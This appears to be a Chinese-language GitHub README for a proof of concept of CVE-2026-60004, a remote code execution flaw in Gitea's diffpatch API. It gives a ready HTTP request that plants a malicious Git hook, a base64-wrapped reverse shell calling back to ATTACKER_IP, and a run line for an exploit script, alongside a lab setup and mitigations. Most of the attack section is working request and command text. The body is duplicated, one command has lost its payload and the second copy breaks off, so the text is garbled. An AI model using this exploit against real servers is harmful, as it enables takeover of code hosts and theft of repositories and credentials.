EQSTLab/CVE-2026-60004
GitHub: EQSTLab/CVE-2026-60004
该项目是 Gitea diffpatch Git Hook RCE 漏洞(CVE-2026-60004)的完整 PoC,包含靶场环境、利用脚本和缓解建议。
Stars: 1 | Forks: 0
# CVE-2026-60004 Gitea diffpatch RCE
★ CVE-2026-60004 Gitea `diffpatch` Git Hook RCE PoC ★
# 概述
# 受影响版本 | 类别 | 版本 | |---|---| | **存在漏洞** | Gitea **1.17 ≤ version ≤ 1.27.0** | | **已修复** | Gitea **1.27.1 或更高版本** |
# 影响 - 以 Gitea 服务账户(`git`)的身份执行远程代码 - 访问所有托管仓库、CI 机密信息和数据库凭据 - 无需出站回调(输出可通过 Git 对象返回)
# 环境 构建并运行存在漏洞的 Gitea 环境。注册功能保持开放, 服务器内置了 Git 2.32+,从而启用了攻击所依赖的 `-3` 回退机制。 ``` docker build -t cve-2026-60004 . docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004 ``` | 前置条件 | 本实验中的状态 | |---|---| | Gitea 1.17 – 1.27.0 | 1.27.0 | | 服务器上安装 Git 2.32+(启用 `-3`) | 2.54 | | 开放注册 | 启用(默认) | | 仓库写入权限 | 通过自行注册的账户获取 |
# PoC ## 步骤 1. 创建账户和仓库 通过 Web UI(`/user/sign_up`)注册一个普通账户,然后创建一个仓库,并勾选 **Initialize Repository(初始化仓库)**,以确保存在 `main` 分支。 ## 步骤 2. 递交恶意补丁 攻击将**同一个补丁递交两到三次**至 `POST /api/v1/repos/{owner}/{repo}/diffpatch`。该补丁会创建一个可执行的 `hooks/post-index-change`;重复发送会强制触发 `-3` 回退机制,将其写入 `$GIT_DIR/hooks/`,从而成为一个生效的 hook。 有两种等效的方式来递交该补丁。 ### 选项 A — Burp Repeater(手动) 从 Web UI 发送任意请求,然后在 Burp Repeater 中将其替换为 下方的请求。使用 `base64(user:password)` 填充 `Authorization`,并 **发送两次**(重复发送正是触发 `-3` 回退机制的关键)。 ``` POST /api/v1/repos/USER/REPO/diffpatch HTTP/1.1 Host: TARGET_IP:3000 Authorization: Basic BASE64_USER_PASS Content-Type: application/json {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..fbb1ab230ec0efcad0c15aadae19b160982c41c1\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,2 @@\n+#!/bin/sh\n+id > /tmp/PWNED 2>&1\n", "message": "apply", "branch": "main"} ``` 此处的 hook 主体仅运行 `id` 作为执行证明。要运行其他 命令,请将其放在 hook 中,替换掉 `id > /tmp/PWNED 2>&1`。 对于包含引号或 shell 元字符的命令(例如 reverse shell),请对其进行 base64 编码,以免在嵌入到 diff 中时发生损坏: ``` echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 ``` 然后使用编码后的字符串作为 hook 命令: ``` echo | base64 -d | bash
```
diff 中的 `index` blob 哈希与 hook 内容绑定,因此在
更改命令后必须重新计算它 — `gitea_exploit.py`
会自动执行此操作(选项 B)。
### 选项 B — 脚本
`gitea_exploit.py` 会构建补丁(根据你传递的任何
命令重新计算 blob 哈希)并重复递交。
```
python3 gitea_exploit.py \
--url http://TARGET_IP:3000 \
--user USER --pw PASSWORD --repo REPO \
--cmd "echo | base64 -d | bash"
```
## 步骤 3. 确认结果
该 hook 以 `git` 服务账户的身份运行。
```
docker exec cve-2026-60004 cat /tmp/PWNED
# uid=1000(git) gid=1000(git) groups=1000(git)
```
# 缓解措施 - 将 Gitea 升级至 1.27.1 或更高版本 - 如果不需要,请禁用开放注册(`DISABLE_REGISTRATION=true`) - 限制可以访问实例并创建仓库的人员
# 分析 - KR: - EN:
# 概述
# 受影响版本 | 类别 | 版本 | |---|---| | **存在漏洞** | Gitea **1.17 ≤ version ≤ 1.27.0** | | **已修复** | Gitea **1.27.1 或更高版本** |
# 影响 - 以 Gitea 服务账户(`git`)的身份执行远程代码 - 访问所有托管仓库、CI 机密信息和数据库凭据 - 无需出站回调(输出可通过 Git 对象返回)
# 环境 构建并运行存在漏洞的 Gitea 环境。注册功能保持开放, 服务器内置了 Git 2.32+,从而启用了攻击所依赖的 `-3` 回退机制。 ``` docker build -t cve-2026-60004 . docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004 ``` | 前置条件 | 本实验中的状态 | |---|---| | Gitea 1.17 – 1.27.0 | 1.27.0 | | 服务器上安装 Git 2.32+(启用 `-3`) | 2.54 | | 开放注册 | 启用(默认) | | 仓库写入权限 | 通过自行注册的账户获取 |
# PoC ## 步骤 1. 创建账户和仓库 通过 Web UI(`/user/sign_up`)注册一个普通账户,然后创建一个仓库,并勾选 **Initialize Repository(初始化仓库)**,以确保存在 `main` 分支。 ## 步骤 2. 递交恶意补丁 攻击将**同一个补丁递交两到三次**至 `POST /api/v1/repos/{owner}/{repo}/diffpatch`。该补丁会创建一个可执行的 `hooks/post-index-change`;重复发送会强制触发 `-3` 回退机制,将其写入 `$GIT_DIR/hooks/`,从而成为一个生效的 hook。 有两种等效的方式来递交该补丁。 ### 选项 A — Burp Repeater(手动) 从 Web UI 发送任意请求,然后在 Burp Repeater 中将其替换为 下方的请求。使用 `base64(user:password)` 填充 `Authorization`,并 **发送两次**(重复发送正是触发 `-3` 回退机制的关键)。 ``` POST /api/v1/repos/USER/REPO/diffpatch HTTP/1.1 Host: TARGET_IP:3000 Authorization: Basic BASE64_USER_PASS Content-Type: application/json {"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..fbb1ab230ec0efcad0c15aadae19b160982c41c1\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,2 @@\n+#!/bin/sh\n+id > /tmp/PWNED 2>&1\n", "message": "apply", "branch": "main"} ``` 此处的 hook 主体仅运行 `id` 作为执行证明。要运行其他 命令,请将其放在 hook 中,替换掉 `id > /tmp/PWNED 2>&1`。 对于包含引号或 shell 元字符的命令(例如 reverse shell),请对其进行 base64 编码,以免在嵌入到 diff 中时发生损坏: ``` echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64 ``` 然后使用编码后的字符串作为 hook 命令: ``` echo
# 缓解措施 - 将 Gitea 升级至 1.27.1 或更高版本 - 如果不需要,请禁用开放注册(`DISABLE_REGISTRATION=true`) - 限制可以访问实例并创建仓库的人员
# 分析 - KR: - EN:
标签:CISA项目, Gitea, PoC, 暴力破解, 编程工具, 网络安全研究, 请求拦截, 远程代码执行, 逆向工具